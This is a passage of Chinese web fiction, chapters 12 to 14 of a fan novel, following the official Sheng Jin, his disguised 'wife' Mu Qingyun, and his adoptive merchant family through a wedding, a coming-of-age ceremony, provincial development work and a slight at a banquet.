很快白老爷一行人就到了汴州城,盛瑾派了人去接白老爷和白滢婷,等他们到了宅中便见到了变成盛瑾未婚妻的盛昀,而盛瑾还在翰林院工作。 白滢婷看着盛昀,整个人都看呆了,不由自主的说道:“嫂嫂真是太美了,像天上的仙子一般美。”等她说出这句话后,小脸一下子就红了,她不小心将自己的心声说了出来。 盛昀变成的女子,没有在意白滢婷说的话,她只是微微一笑,对白老爷和白滢婷行了一礼,接着语气柔和,道:“慕卿云见过义父和妹妹。”那声音十分悦耳动听,让人感觉到宛如听到溪水流动时的声音。 慕卿云这个名字是由盛瑾和盛昀一起选的,盛昀在作为盛瑾未婚妻出现时,这便是他的名字。 白老爷从见到盛昀开始,就在打量着他,心道:“瑾儿这位未婚妻,打从我和婷儿进来到现在的行为举止都十分得体,而且没有流露出半点嫌弃我们的意思。”也难怪白老爷会这么想,毕竟商贾在这个朝代处于底层,而盐商的名声也不太好听,所以那些个读书人会下意识的嫌弃商人。 白老爷对于盛瑾的未婚妻分外满意这个儿媳妇,不过,他看着盛昀的身子骨,心里不由得想道:“瑾儿的这位未婚妻看上去有些柔弱,不利于生养和长寿啊!希望她能陪伴瑾儿一辈子吧。” 白老爷因为自己无法与自己妻子白头偕老,所以心中总是有些许遗憾,当他听到盛瑾要结婚时,他下意识的希望盛瑾能和他妻子白头偕老,以弥补他心中的这点遗憾,现在看到盛昀身子骨有些柔弱,心中不免有些为盛瑾妻子的身体担忧,但他也不能直接说出来,万一让盛昀觉得他嫌弃她的身子骨弱就不好了。 白老爷无论心里这么想,但脸上仍挂着笑容,语气柔和,道:“好好好,瑾儿能得你这样的大娘子是他的福气,都是一家人,不用这么客气。” 一旁的常嬷嬷进来时瞧了眼慕卿云,心里默默庆幸道:“这位姑娘虽然身子弱了点,但是外貌气质、言行举止都属于上乘,想来不是个难相处的。” 白滢婷见状,笑意盈盈,道:“嫂嫂长得真好看,这细细打量一番,尽然和哥哥有几分相似,想来这就是别人口中的夫妻相吧。” 白老爷和常嬷嬷听到白滢婷这么说,便仔细瞧了眼盛昀,心里默默想道:“还真如婷儿(姑娘)说的一样,确实有几分相似啊!”也那怪白老爷他们觉得盛瑾和盛昀变成的女子有些相似,毕竟盛昀就是照着盛瑾的面容改变的样貌,自然有几分相似,为了演好盛瑾的妻子,盛昀还特意在空间里看完了二十一世纪所有的古代电视剧、电影、书籍等,但凡带了“古代”二字的东西,他都仔细研究过。 那段时间,盛瑾看着盛昀如此刻苦的锻炼演技,心里感叹道:“盛昀真是尽职尽责啊!这要是放到我那个时代高低都得是个影帝或影后。” 白老爷看着盛昀的外貌笑得更开心,语气温和,道:“有夫妻相更好,这说明瑾儿和你有缘分啊!” 盛昀笑着陪白老爷和白滢婷聊了一会儿,瞧出他们有些疲惫,便起身亲自送他们去他们的住所,而后去看下人们准备晚膳了。 等晚上盛瑾回来和白老爷、白滢婷用过晚膳后,白滢婷将自己绣的荷包送给了盛瑾,盛瑾笑着接下了,随后她便缠着盛昀出去了,独留白老爷和盛瑾在大厅内。 白老爷看了一眼盛瑾,眼神里流露出一丝满意,语气温和,道:“瑾儿,我有些事情想与你单独聊聊。” 盛瑾闻言,便将下人都叫了出去,等下人们都出去后,白老爷看着盛瑾,笑着道:“瑾儿,我对你很满意,此生能有你一个义子,我已无憾了,你还记得认亲宴之前我说过的话吗?” 盛瑾看着白老爷,开始回忆起认亲宴前的事情,此时他无比庆幸自己有过目不忘的能力,将已经丢在角落的事情有找了出来。 白老爷瞧出盛瑾有些想要拒绝的样子,直言道:“瑾儿,我是名商人,最注重契约精神,如果你不接受这笔家产,等于打破了我们之间的契约,那我恐怕难以安心的将婷儿托付给你。” 盛瑾看着白老爷坚定的神情,思考了好一会儿,叹了口气道:“好吧,我同意,但是义父,我要修改一下之前的要求,你将家产分为三份,你一份,我一份,婷儿一份,你需要留一份家产傍身,不然我是不会收的。” 白老爷知道盛瑾是为他着想,但是他想和盛瑾解释,他不会缺钱的,他会管着白滢婷那份家产,直到白滢婷的儿子长大,将这份家产交到他外孙手里,但他瞧着盛瑾严肃的表情,便只好道:“那,好吧。” 白老爷是个商人,他最相信的就是交易,盛瑾收了他给的家产,他才能相信盛瑾会照顾好白滢婷,接着他与盛瑾又聊了一会儿后,便回到房间休息,隔天便将东西交给了盛瑾。 过了几天,到盛瑾大婚的日子,白老爷属实是没想到盛瑾居然安排他做主位,旁边是盛瑾为老猎户立的牌位,相当是向他的朋友们宣布白老爷是他的长辈了,能被盛瑾看中的朋友都不是太注重别人身份的人,就算盛瑾的义父是个商贾又关他们什么事嘛,反正又不是他们的义父,没必要咸吃萝卜淡操心,毕竟他们只是盛瑾的朋友,不是盛瑾的爹。 等婚宴结束的第五天,白老爷和白滢婷便离开了汴州城,而盛瑾在他们离开的第二天也接到了上面的调令,作为通判被派往桃花村所属的青州,虽然盛瑾名义上相当与升官了,但到底京官和地方官员地位不同,在加上青州不是什么富庶的地方,所以从某种意义上来说是平调了。 等盛瑾到了青州后,便立刻和青州知府联系上了,他向对方表达了自己的想法后,对方欣然同意了,毕竟有一个自掏腰包建设青州的冤大头可不好找,再者,盛瑾将青州发展起来,这功劳他也能占一份,白给的政绩,他为什么不要。 盛瑾得到青州知府的支持后,便开始热火朝天的干了起来,首先他让机器人陪着他去各个县城、村子实地 12. 第 12 章 《知否盛老太太的双生子》全本免费阅读 (从这章起盛昀就叫做慕卿云了) 扬州城白家内,白老爷和白滢婷正在讨论着她的及笄礼,白老爷是个男子不知道怎么举行及笄礼,不过他请了一位朋友的妻子帮忙操办。 白老爷看着白滢婷的眼神中带着一丝温柔,道:“我早已给你哥哥嫂嫂去信了,如无意外的话,前不久已经到他们手中了,不过,我不确定他们会不会来,毕竟你哥哥如今是一州通判,事务繁忙,不一定抽得出时间来参加你的及笄礼,你莫要埋怨他们。” 白滢婷看着白老爷,嘴角微微上扬,道:“我知道的,爹爹,哥哥新官刚上任,有很多事情要处理,嫂嫂需要照顾好哥哥、打理好内宅,自然是没得空闲的,更何况嫂嫂身体有些弱,一个及笄礼罢了,不好让他们来回奔波劳累。” 白老爷看着眼前懂事的白滢婷,不由的感慨道:“时间过得真快啊!眨眼间,我的婷儿已经长成了一个亭亭玉立、懂事明理的姑娘了。” 白老爷说到这眼神中闪过一丝笑意,调侃道:“等过了及笄礼便是十五岁了,也到了找夫婿的年纪了,哎,一想到你要嫁人了,爹这心里就不好受,也不知道我这漂亮的女儿将来会便宜哪个家的小子。” 白滢婷被白老爷的话,羞红的小脸通红,道:“爹,说这些干什么,女儿还想多陪陪你呢,才不想嫁人呢。”她话虽这么说,但是那个闺阁女子没有幻想过自己未来的夫婿会是什么样子。 白老爷看着白滢婷这样,哪里还不知道她在想什么呢,他抓过白滢婷的手,抚摸着她的头,道:“爹爹一定会给你找一个好夫婿的,到时候再给你准备丰厚的嫁妆,送你出门,让你这一辈子都不用发愁生活的琐事。” 白滢婷听着白老爷的话,笑着道:“爹,我知道了,请您放心吧,就算是嫁了人,我好好生活的,得空的时候便会回来看您的。” 白老爷看着白滢婷这个样子,眼神中闪过一丝悲伤,嘴里喃喃道:“我这是舍不得啊!若夫人还在,看到婷儿如今这般优秀,定会骄傲的。” 白滢婷听到白老爷提起她的母亲,便默不作声的抓着白老爷的手,静静的陪着他,毕竟她知道这时候对白老爷说什么都是没用的。 这时屋内一切都是那么的岁月静好,只是谁也没想到白滢婷嫁的人家差点害她丢了性命,以至于白老爷后来一直后悔,当初为什么会结这桩亲事,差点害了白滢婷的命。 另一边的慕卿云紧赶慢赶终于在半个月后到了扬州城,一进扬州城便往白家赶,等到了白家大门口时,她一下马车,白家门口的两位小厮便看呆了,愣是站在原地一动不动的,直到慕卿云让身边的丫鬟去叫了其中一位小厮,他们才回过神来,随即其中一个小厮问道:“大娘子是何人,为何来白家吗?” 慕卿云身边的丫鬟听到小厮的话,面色不改,语气柔和,道:“这位小哥麻烦和你家老爷说一声,青州盛通判家的大娘子来了。” 起初这位小厮还没有反应过来,她们口中的盛通判是谁,突然,他想到了他们家的公子姓盛,好像现在在哪里当通判,随即道:“姑娘你说的青州盛通判,是不是盛瑾公子啊!” 丫鬟听到这位小厮这么说,微微点了点头,轻声道:“正是我家主君的名字,请小哥去和你家老爷说一声。” 那位小厮瞬间满脸笑容,语气中带有一丝热情,道:“姑娘那还用进去告诉老爷一声,公子的大娘子就是我们白家的大娘子,快快进来吧。” 丫鬟见状看了眼慕卿云,慕卿云微微点了点头,丫鬟便和那位小厮说道:“后面那辆马车是我家大娘子和主君特意给你家姑娘准备的贺礼,麻烦小哥请人来搬一下。” 那位小厮在丫鬟说完后,直截了当道:“没问题,大娘子里面请。”说着便带着慕卿云一行人进了白家的同时,用眼神示意另一个小厮进府告诉白老爷一声。 等慕卿云进入大厅时,白老爷早已先一步到达大厅了,他看到慕卿云,满脸笑意,道:“就一个及笄礼的事情,媳妇你竟然还特意跑来一趟,真是麻烦了。” 慕卿云看着白老爷,恭谨的行一礼后,面带微笑道:“不麻烦,义父,这是妹妹一辈子唯一一次及笄礼,如不是官人实在是事务繁忙抽不开身,他定是要一同前来的。” 白老爷听着慕卿云的话,心里甚是开心,嘴角微微翘起,随即又关怀道:“我知道他的心意,你身子本就弱,这一路奔波可是累坏了吧,我让管家带你去院子休息。” 不等慕卿云回话,白老爷就直接转身吩咐管家,道:“管家,你带大娘子去瑾儿以前住的院子休息,我记得那个院子每天都有人打扫吧。” 管家闻言,面色不改的回道:“是,老爷,大娘子,请跟小人来。”慕卿云见状,不好拒绝白老爷的好意,便和管家一起去院子休息了。 白老爷看着慕卿云离去的背影,心里不由得想道:“如果娘子还在,一定会为了我们有这样一个义子和媳妇感到高兴吧。” 白滢婷在接下来的日子里时常会来找慕卿云聊天,她与慕卿云相处的这段日子十分融洽,心中不由得感慨道:“嫂嫂怕是这天底下最温柔的人了吧。” 日子过得很快,转眼间就到了白滢婷及笄的日子,这天一大早,她就从床上起来,在梳妆台前被丫鬟们精心打扮着,而慕卿云则帮着那位被请来给白滢婷办及笄礼的大娘子准备东西招待女眷。 起初那位大娘子听到慕卿云是盛瑾妻子时,想着自己竟然和通判的妻子一同办事,她的心里有些担心,担心慕卿云不好相处,毕竟慕卿云有大笔丰厚嫁妆,夫婿又是一州通判,难免有些傲气在身上的,结果一番相处下来,她推翻了之前对慕卿云的所以想象,心里想着:“难怪人家能成为通判的大娘子,这样貌、这性情、这举止礼仪都挑不出错来。” 这些来参加的白滢婷及笄礼的女眷,大多都是白老爷好朋友的妻子,或生意上有过交集的商人的妻子,其中不乏一些当初想将自家姑娘嫁给盛瑾的女眷,毕竟盛瑾十三岁中案首,十五岁中解元,在本朝开国以来也算得上是凤毛麟角的存在了,眼瞅着盛瑾未来仕途就是一片光明啊! 这些个女眷若不是碍于自己是女子,都恨不得亲自登门,将白老爷家的大门踏破来抢夺佳婿啊!可惜了,她们是女子,只能天天在自家官人身边念叨着让他上门和白老爷商讨商讨,结果自家官人因为上次盛瑾中秀才时,白老爷装糊涂拒绝过他,自觉有些面子管不住,不愿在向白老爷提起这件事。 这些人直到得知盛瑾中状元后,方才后悔没有早些和白老爷商谈盛瑾的亲事问题,等他们想要拜访白老爷时,白老爷已经带着白滢婷去了汴州城参加盛瑾的婚宴了。 等白老爷和白滢婷回来后,他们便得知了盛瑾成婚这个坏消息,那肠子都快要悔青了,早知道盛瑾能成为三元及第的状元郎,他们在盛瑾中秀才时就应该拉下脸面想方设法的说服白老爷给盛瑾定自家姑娘啊! 此时此刻,当那些个女眷听到盛瑾的妻子慕卿云也在白滢婷的及笄礼上时,她们心里不由得想道:“我一定要看看这个半路杀出来的程咬金长什么样子。” 于是,等慕卿云帮忙招待女眷时,有一些女眷死死地盯着她,尽管她们在怎么讨厌慕卿云,都不得不感叹一句:“这位大娘子生的真美啊!” 当然,也有极少数女眷在心里恨恨道:“生的美有什么用,嫁妆再丰厚又有什么用,那身子弱不禁风的,一看就不好生养,若是没有子嗣,状元郎以后难免还是要纳妾的。”尽管在场有部分女眷心思完全不在白滢婷的及笄礼上,但是这场及笄礼还是顺利完成了。 不过白滢婷及笄礼上用的发笄、发簪、钗冠倒是吸引了不少女眷的目光,因为它们实在是太美太精致了,瞧着就不是寻常能买到的首饰。 等白滢婷的及笄礼结束后,有不少女眷问那位给白滢婷主持及笄礼的大娘子,这些发笄、发簪、钗冠是在哪买时,那位大娘子笑着道:“我哪知道是哪买的,这是盛通判和慕大娘子特意为妹妹准备的礼物。” 这时在场的不少女眷想起了汴州城的一个传言,新科状元的家底十分丰厚,新科状元的大娘子嫁妆有十几艘船,原本她们还以为是个谣言,毕竟嫁妆再丰厚也不可能有这么多,现在看到这些首饰的精致程度,怕不是那慕卿云或是盛瑾师父从海外带回来的吧,这样想想恐怕汴州城那个谣言有几分真实性。 等白滢婷的及笄礼结束后不久,慕卿云便启程回青州了,此时的盛瑾正忙着他的青州计划,建设时有些地方需要让原本居住的百姓搬离,于是他有连夜制定了村子搬离计划,出钱给这些需要搬离的村子重新修建村子以及给予他们一定的银钱作为补偿,等他们全部搬进新建好村子后,再将原村子拆了,这样的大工程搞下来需要不少人手,当然,也正因为如此,宜州、同州、扬州有不少人来到了青州做工。 自于村子的种植,建造工厂计划,桃花村所在的清水县倒是进展的十分顺利,毕竟桃花村在清水县可是一个活生生的招牌啊!附近的村子就没有不羡慕,一听这次提出计划的是盛瑾,别说是反抗了,他们巴不得现在就将盛瑾抢来帮他们建设村子呢,于是清水县外加它管理的村子都十分配合。 盛瑾想着先从清水县以及它管理的村子开始,等清水县以及它管理的村子发展起来后,其他地方的建设、改造计划就容易实行了,毕竟有了个好的招牌放在那里,其他县城怎么会不配合呢,于是他从空间中找出找水力织布机的建筑图纸等一切所需物品后,开始了对清水县以及它管理的村子的改造计划,一切如盛瑾所预料的一样,当其他县城看到清水县翻天覆地的变化后,没有在抗拒盛瑾建设、改造计划了。 在盛瑾大笔银钱的投入下,青州以一种极快的速度发展着,青州知府看着每日都在不断变化的青州,怕是他夜晚做梦都在笑了,毕竟按照盛瑾的计划进行下去,不出几年青州就会大变样,这可是明晃晃的政绩啊!八成青州知府已经在考虑朝廷会将他升到哪个官位上了吧。 不仅是青州知府有这些想法,青州管辖下的各个县城的县令们看盛瑾的眼神犹如再生父母一般啊!毕竟按照盛瑾的计划下去,那简直是一人得道鸡犬升天啊! 一眨眼已经过去一年多了,这天盛瑾正在外出办事情,毕竟青州的建设还有三分之一没有完成,不过,从青州建设开始以来添加了不少人口,这些人都是扬州、宜州、同州来的,在为青州建设添砖加瓦时,也看到了青州越来越好,因此有不少人选择带着家人在此定居,为此流失了不少人口的三个州知府看青州知府是眼睛不是眼睛,鼻子不是鼻子的,索性不同州的知府一年见不到两三次,要不然,青州知府可能会被套麻袋,对此青州知府是属于痛并快乐着,毕竟自从盛瑾开始建设青州,青州整个州的税收以一种快速又稳定的方式增长着,前年他还为此被夸奖了,当然,他也没有隐瞒盛瑾的功劳,毕竟人家这一年多往青州丢了不止五百万两的银子,要不然建设速度能这么快。 青州知府正想着自己的美好前程时,突然,有位衙役跑进来,惊慌失措,道:“知府,知府,朝廷派人来了,你快出去看看吧。” 青州知府瞬间双目睁大,随即反应过来,一边往外走,一边在心里不由的想道:“朝廷这时候派人来是为了什么呢?” 等 13. 第 13 章 《知否盛老太太的双生子》全本免费阅读 清晨,盛瑾便向青州知府请了半个月的假期,理由是他被封为国公,自是要回村祭拜和重修老猎户的坟墓。 青州知府闻言,在得知了盛瑾只有老猎户这一个亲人后,自然是给盛瑾批假了,就这样,盛瑾带着慕卿云回到桃花村,中途经过清水县时,清水县县令还特地陪同他们一起来到了桃花村,看那样子应该是知道了这里成了盛瑾的封地了。 清晨,盛瑾一行人和县令进入到桃花村中,桃花村在这一年多里发生了翻天覆地的变化,从最初只有几个青砖瓦房的小村庄变成了到处都是青砖瓦房的大村庄。 当初盛瑾执行青州建设计划时,想着桃花村是他的初始地,再加上村子村民们的茅草屋看起来太难看了,便和村民们商量将全村推到重建,至于重建村子的银钱他出三分之二,村民们出三分之一。 桃花村的村民们自从盛瑾建了罐头厂后日子过得富足起来,对盛瑾的话不说言听计从,但也差不多是这般了,所以盛瑾一提出这个建议,桃花村村民们都同意了,毕竟房子是自己住的,而盛瑾还承担了三分之二的建房费用,他们何乐而不为呢,再者,盛瑾是他们村出去的,如今当了官有了出息,他们脸上也有光,这是盛瑾的差事,他们自是要配合的,就这样,在村民们的配合下,盛瑾如愿的将桃花村推到重建了。 如今的桃花村全部都是青砖瓦房,村子中心位置是一座书院,有一条用水泥制造的小路贯通全村,道路的两边种上了桃花树,让整个村庄看起来十分的美丽,也让村子成了名副其实的桃花村。 桃花村里书院的夫子都是经过盛瑾精心挑选、考察录用的,如今的书院已从当初只有一个夫子,到现在有三个夫子、两个会拳脚功夫的师父,这个书院的学子既要学习书本文字,又要学习拳脚功夫。 至于盛瑾为什么要找人教导学子拳脚功夫,只是考虑到他们若是要参加科举,体力是科举考试中很重要的一个因素,若是不参加科举,有点功夫在身出了村子也不容易被人欺负。 对于盛瑾的决定,村民们没有什么反对,毕竟这些夫子和师父的月钱都是出自盛瑾名下一千亩水田和罐头厂的分红。 盛瑾中进士后,又在村子中买了七百亩水田,如今他在桃花村有一千亩水田,他将这些田产租给村民们耕种,收三成租子再加上罐头厂的分红中取出一些用于书院夫子和师父的月钱。 盛瑾自从推到桃花村重建后,便在书院立了规矩,凡事他书院的学生下课后帮家里干活,他可不想培养出的学生除了读书啥也不会,还来一句“万般皆下品惟有读书高”的话,最后再变成酸儒的样子,他怕是要气死了。 如今说起盛瑾,村里人对他是十分的感激,如果你在村子里说盛瑾一句坏话,全村的村民会骂死你,因为他们打心底里觉得盛瑾对于村子有恩。 盛瑾一行人走到村子时便兵分两路了,慕卿云带着一群人去了盛瑾的院子,另一边县令和盛瑾去看看村子里。 县令和盛瑾走进村子便听到不远处传出孩童朗朗的读书声,现在是孩子们读书的时间,县令早就眼馋桃花村的这个教育资源了,这也他与盛瑾此行的目的之一,他想让盛瑾也在清水县建一个专门培养科考人才的书院,毕竟一个县城出几个秀才、举人也算得上是他的政绩不是嘛,虽然盛瑾全面建设青州时,他也能捞点政绩,但政绩这种东西当然是多多益善了。 县令心里想道:“以前是和盛通判不熟,所以不好意思开口,现在倒是可以名副其实的请盛通判帮忙了,不,如今应该叫做盛国公了。” 当县令听到桃花村的书院中传出一阵阵的读书声时,便开始恭维盛瑾的同时,暗示如果县城也有一个这样的书院绝对是一个好事,盛瑾当然听出了他的弦外之音。 盛瑾想着只靠桃花村这个书院也教不出太多的进士了,若是清水县也办一个这样的书院等于扩大进士数量,不止是县城,他也可以在其他村子中办一个书院,又或是与村长商议让其他附近村子的孩童来桃花村读书。 盛瑾思考了一会儿,欣然同意了县令的提议,不过在清水县建的书院规章制度要按照他的要求来,他可不想培养出一群腐朽木愣、高傲自大的读书人来。 县令对盛瑾的要求自然是答应的,毕竟他要的是政绩,是一个县能出多少个秀才、举人、进士,至于书院怎么管理他不在乎。 县令和盛瑾聊了一会儿后,村长便出现了,当他得知盛瑾成了国公后,激动的满脸通红,道:“瑾哥儿成了国公爷,我们村子有国公爷了,太好了。” 村长的声音也吸引了不少村民前来,他们为盛瑾成为国公感到开心,但又不敢靠近盛瑾,一时不知如何是好,最后还是村长开口道:“都围着干什么,我们村出了个国公爷是好事,都回去吧,别碍着国公爷和县令谈事情。” 村民听村长这么说,才察觉到盛瑾身边的是县令,比起盛瑾国公的身份,显然村民们更怕县令,毕竟县令是地方官员,管着他们这些村民,也不好堵着县令的路,于是不到一会儿,他们便都自行散去了。 村长面带微笑,恭谨道:“国公爷,县令,大家高兴坏了,莫怪,莫怪啊!国公爷这次回来所谓何事呢?” 盛瑾皱着眉道:“牛叔,你,这是何必呢,你我关系如此亲密,还是称我为瑾哥儿吧,我有些不适应。” 村长摇头道:“不可,不可,于礼不和,如今你是国公爷了,还是叫国公爷比较好,要不然到时候村里的人都找你攀关系,这可咋好,还不如一开始就立好规矩。” 村长在桃花村待了几十年了,村子里有什么样的人,他能不知道嘛,大部分村民都是好的,但是每个村子总有那么几个得寸进尺的人,盛瑾成为通判时,村子里那几个不要脸的就想要在外面狐假虎威,最后还是他拉着一群村民将这几个人镇压下去,现下盛瑾成为国公了,若是他在像以前那样称呼盛瑾为瑾哥儿,岂不是让那几个不要脸的认为他们可以以同村为由找盛瑾帮忙或是借势呢,与其这样,还不如一开始就将盛瑾国公爷的威严给立住了。 村长知道自家和盛瑾有情分,但情分是情分,他们不能以此来让盛瑾为他们做些什么,这样只会将过往的情分给作没了,平日相处中还是要有分界感的,也正因为村长的这种想法,他们一家才能和盛瑾友好相处,毕竟盛瑾也不傻,你若是老是借着情分来要挟他让他办事,以盛瑾的性格只会远了这些人。 盛瑾看着村长这样,心里一暖,无奈道:“那私下无人时,牛叔还是称我为瑾哥儿吧,不能有了爵就成了孤家寡人吧。” 盛瑾知道村长的顾忌,他也不是对村子里的事情一点都不知情,那几年住在村子里时,也会遇到那几个奇葩的村民,只不过他们每每想要和盛瑾说些什么时,都会被赶来的村长夫妇或是其他村里人给堵走,盛瑾也因此没有在村子经历过什么恶心的事情,他相信这些帮他堵走人的村民背后也村长的嘱咐,所以他对村长是十分亲近的,也不愿村长与他如此生分。 村长看着盛瑾有些哀伤的表情,不忍看到盛瑾这样,便硬着头皮,轻声道:“那便如此吧,瑾哥儿。” 盛瑾当即喜笑颜开,道:“我就知道牛叔对我最好了。”一旁的村长看盛瑾这个样子,哪还有刚刚的忧伤,便只能笑着摇摇头,而盛瑾身旁的县令显然被盛瑾的这波操作整的满脸惊讶,也知道了桃花村村长在盛瑾心中的份量了。 盛瑾接着开口道:“牛叔,等今天晚上你来我家,商量一下重修爷爷坟墓的事情,随便见一见我的娘子。” 村长一脸惊讶,道:“你娘子也回桃花村了,那我们晚上在见面商讨一下这些事情,你和县令闲聊。” 盛瑾点了点头便离开了,随后便又和县令聊起了书院的相关事宜后,亲自送县令出了桃花村,这让清水县县令感受到了盛瑾对他的尊敬。 晚上,村长夫妇来到盛瑾院子,看到慕卿云都感叹着他长得真好看,接着便和盛瑾商讨起了重修老猎户的坟墓的事情,等这件事情商量完后,盛瑾又提出了让其他村子的孩童来桃花村读书,村长对此并无意义,毕竟盛瑾说了其他村子的孩童来桃花村读书每人一年收二两银钱的读书费,算起来还是他们桃花村占了些便宜。 盛瑾觉得每年收一两银钱的读书费算得上是低价了,若是这点银钱也不愿出,他也不能逼他们读书不是嘛,当然,若是真的没钱读书,他也安排了其他的计划,例如:书院出钱给你读,不过等你有能力挣钱了要换回来,当然,若是个读书的好苗子,那直接考进前三,这样奖金也能付学费了。 村长对于盛瑾的这些安排自是毫无异意,而桃花村的大部分村民也没有异意,少部分有异意的村民也无法撼动大部分人的想法,桃花村大部分村民的想法很纯朴简单的,书院是盛瑾出钱建的,夫子和拳脚师父也是盛瑾请的,他们能免学费读书就很不错了,毕竟当初老猎户去世时他们也没帮盛瑾什么忙,那还有脸要求盛瑾做这做那的,而且桃花村因着盛瑾建的罐头厂已经过得比县城的人还要富足了,再不知足,那就是得寸进尺、忘恩负义了,他们虽然没读过什么四书五经,但也知道做人的基本道理,当然,这些都是之后的事情了。 第二天,村长便召集村民们帮着盛瑾重修老猎户的坟墓了,另一边的盛瑾则是去县里买修坟的建筑材料去了,接下来的日子里,村民们便热火朝天的干起来了,盛瑾和慕卿云给这些村民包三餐以及每人在修完坟后都有三两工钱。 扬州城的白家,白滢婷在这一年里接到了一些女眷宴会的邀请帖,大部分是商贾家举办的宴会,小部分是举人家举办的宴会,这些人家是存着和白老爷或是盛瑾交好的念头邀请的她,所以她一直也没受什么委屈,直到前不久的一次举人家女眷举办的宴会。 那天,白滢婷像往常一样参加了一个举人家女眷举办的宴会,在其中碰到了一个姑娘,那个姑娘见白滢婷衣裳首饰比她精致,便低头询问身旁的姑娘白滢婷的身份,等那位姑娘知道了白滢婷是盐商之女时,她看白滢婷的眼神中充满了嫌弃,可能是她身边的姑娘看到她对白滢婷的态度,急忙在她耳边补充了白滢婷的义兄是本届新科状元,现如今的青州通判后,她才收起了脸上嫌弃的表情。 白滢婷不是没看到那个姑娘的表情,但这是别人家举办的宴会,她不好在此地争吵起来,扰了人家家中的宴席,再则她也不擅长和人家争吵,于是她便装作没看见那个姑娘。 那位姑娘本来就嫉妒白滢婷的穿着比她好,现下又看见白滢婷故意装作没看到她,便觉得白滢婷有些软弱可欺,嚣张的气焰一下子就上来了,她故意走到白滢婷面前,问道:“你是哪家的姑娘呢?” 白滢婷见状,也没觉得告诉对方自己出自商贾之家有什么不妥的,便直言道:“扬州白家,白滢婷。” 那个姑娘噗嗤的笑了一声,眼中闪过一丝嫌弃,道:“我还真没听说过扬州城有什么白家呢?莫不是……” 那位姑娘刚想说些什么,就被身旁的姑娘给拉扯住了,白滢婷和她们距离近了,才发现那位姑娘身旁的姑娘,正是本次宴会举办主家的三姑娘。 那位举人家三姑娘满面笑容,语气中带有一丝歉意,道:“白大姑娘,这是县令家的二姑娘,她许是刚刚吃醉了酒,你莫要见怪啊!我带她会去另一边休息休息。”说着还使劲扯着那位县令家二姑娘的衣袖。 那位举人家三姑娘有些恼怒了,心里暗道:“回去就告诉父亲母亲,这县令家二姑娘也太不知礼数了吧,竟然扰我家宴会,不过就是个县令家二姑娘,那比得过通判的妹妹。” 那位举人家三姑娘可是被自己母亲千叮咛万嘱咐一定要照顾好白滢婷,毕竟和白老爷有些交情的人家都知道,盛瑾夫妇每半年都要给白滢婷和白老爷寄一车东西,可见盛瑾夫妇和白家父女感情深厚啊! 白滢婷见到那位举人家三姑娘大力将县令家二姑娘拉倒一旁的假山后面,她本想就此离开的,但低头看见有块手帕掉在地上,便想拿去还给她们,走到假山旁边时,便听到那位县令家二姑娘大声说道:“你怕她干什么啊!不过就是有个义兄是通判罢了,又不是亲哥哥,有什么好怕的,就她这样的出身,顶天了也就只能给我哥哥当个妾侍,就这都算是抬举她了。” 那位举人家三姑娘闻言,直截了当道:“你知道什么啊!我母亲说了,那位盛通判和慕大娘子最是疼爱这位义妹了,每半年都要给她送车东西过来,若是她回去和慕大娘子、盛通判通信时提一句今天发生的事情,你看看盛通判会不会报复你爹爹这个县令。” 那位县令家二姑娘一时间竟不知道说些什么,过了一会儿,有些底气不足道:“她哥哥是青州通判又不是扬州通判,还管得着扬州县城县令的事情嘛。”她话是这么说,但到底是没有再说白滢婷什么了。 白滢婷听完她们的话,觉得这帕子是送不到她们手中了,随即挂在树枝上,便转身离开了假山。 等白滢婷走出一段距离后,便听到身后传来那个县令家二姑娘的声音道:“我的帕子怎么会在树枝上呢?” 那位举人家三姑娘语气柔和,有些歉意道:“许是我刚才扯你太过用力了,你的帕子不小心掉出来,被风吹到树枝上的吧。”后面的对话白滢婷一句也没有听到了。 等这场宴席结束时,举人家大娘子和县令家大娘子过来找了白滢婷,县令家大娘子身后还跟着他家二姑娘,显然是来找白滢婷道歉的,白滢婷随便应付了几句,县令家二姑娘出言不逊的事情算是过去了,毕竟她也没来得及羞辱白滢婷,就被举人家三姑娘给阻拦了,白滢婷也不好过于追究什么,显得她太斤斤计较了。 当时常嬷嬷并不在场,这件事情还是从在场的小丫鬟口中得知的,气的常嬷嬷恨不得能穿回那时候,好好骂一顿那位县令家二姑娘。 不过这件事情白老爷并不知道,白滢婷也不让常嬷嬷和那个小丫鬟说给白老爷听,于是白老爷并不知道白滢婷这些天心情低落的原因,只当是白滢婷一时心情不好罢了。 白滢婷在房中看似是在阅读的书籍,实则是一直思考着那天的事情,过了一会儿,她轻声道:“奶娘,你说商贾出身就这么不耻吗?” 常嬷嬷听到白滢婷这么问,心疼道:“姑娘莫要这么说,商贾出身又如何,姑娘聪慧过人,在我心里是极好的,再则姑娘嫁妆丰厚,以后谁娶了姑娘,一辈子衣食无忧,那是他的福气啊!姑娘莫要妄自菲薄了自己。” 白滢婷看着常嬷嬷,不由的苦笑道:“奶娘莫要安慰我了,我又不是不知事的幼儿了,我也是读过些书的,士农工商,商贾出身在外人看来就是充满了铜钱味的存在,我知道他们大抵都看不起商贾出身的人家,但是我重来没有如此深刻的感受到他们对商贾的嫌弃。” 常嬷嬷安慰白滢婷道“姑娘不必和那等子小人计较,她是羡慕姑娘有一个好兄长,未来想娶姑娘的人一大把呢,她那兄长排队都不一定能排的上呢,在意她做什么吗?老爷一定会给姑娘找一门好亲事的。” 白滢婷想了一会儿,叹 14. 第 14 章 《知否盛老太太的双生子》全本免费阅读 半个月后,扬州城里和白老爷有些关系的人家都知道了盛瑾成国公爷的事情了,再加上和扬州知府有些关系的人家也从他口中得知了这一消息,一夕之间,白家成了香锅锅。 白老爷这些日子关是收拜帖就收的手软了,这些人家要不是碍于白老爷没有声张的打算,这白家的门槛早就被踩破了。 自从白老爷得知盛瑾成了国公后,他脸上的笑容就没有下去过,整个白家因为这件事情充满了喜悦。 白老爷秉承着低调做人的想法,让白家的人不要在外面乱说什么,所以整个扬州城就只有那些和白老爷有关系或是和扬州知府有关系的人家知道盛瑾和白老爷的关系以及盛瑾成了国公爷。 扬州城的这些个人家见白家这么多天都没有动静,显然白老爷是不想向外面声张,他们自然也不会多嘴,免得一不小心得罪了白老爷和盛瑾。 扬州城的这些知情人士虽然没有在外面说些什么,但是有不少人家把目光放在了白老爷的女儿白滢婷身上,妄图在白滢婷身上投机取巧,他们听说白滢婷极得盛瑾和慕卿云喜爱,若是能娶到白滢婷也算得上是和国公夫妇搭上关系。 一时之间,有许多人家上门询问白滢婷的婚事,不过这其中大部分是商贾人家,还有一小部分官宦人家,不过这些官宦人家都是七八品的官员。 